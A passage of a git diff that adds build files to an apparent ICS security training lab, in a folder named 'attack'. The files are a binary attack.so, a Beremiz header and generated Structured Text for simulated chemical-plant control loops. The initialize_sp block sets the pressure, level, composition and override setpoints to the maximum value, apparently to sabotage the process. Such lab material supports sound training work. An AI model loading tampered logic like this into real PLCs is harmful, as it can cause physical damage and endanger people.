+377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO 